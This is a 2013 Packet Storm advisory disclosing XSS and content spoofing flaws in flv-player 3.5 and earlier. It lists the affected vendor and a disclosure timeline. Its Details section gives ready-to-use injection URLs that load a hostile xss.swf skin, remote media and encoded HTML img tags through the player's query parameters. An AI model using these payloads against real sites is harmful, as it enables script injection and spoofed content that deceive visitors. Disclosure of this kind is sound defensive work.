flv-player 3.5 Cross Site Scripting / Content Spoofing

2013-10-09T00:00:00
ID PACKETSTORM:123559
Type packetstorm
Reporter MustLive
Modified 2013-10-09T00:00:00

Description

                                        
                                            `Hello list!  
  
These are Cross-Site Scripting and Content Spoofing vulnerabilities in   
flv-player.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are flv-player 3.5 and previous versions.  
  
-------------------------  
Affected vendors:  
-------------------------  
  
U-Studio  
http://flv-mp3.com  
  
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Details:  
----------  
  
XSS (via Flash Injection) (WASC-08):  
  
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=xss.swf  
  
In old versions of Flash player the attack will work with flash file xss.swf   
at any domain, in new versions - only at the same domain.  
  
Content Spoofing (Flash Injection) (WASC-12):  
  
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=http://site2/1.swf  
  
Content Spoofing (Content Injection) (WASC-12):  
  
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv  
  
http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&pic=http://site2/1.jpg  
  
Content Spoofing (HTML Injection) (WASC-12):  
  
http://site/path/uflvplayer_500x375.swf?way=http://site&comment=test%3Cimg%20src=%27http://site2/1.jpg%27%3E  
  
XSS (WASC-08):  
  
http://site/path/uflvplayer_500x375.swf?way=http://site&comment=+%3Cimg%20src=%27xss.swf%27%3E  
  
In old versions of Flash player the attack will work with flash file xss.swf   
at any domain, in new versions - only at the same domain. Also Strictly   
social XSS attack is possible.  
  
------------  
Timeline:  
------------   
  
2013.08.03 - announced at my site.  
2013.08.05 - informed developers.  
2013.10.08 - disclosed at my site (http://websecurity.com.ua/6694/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`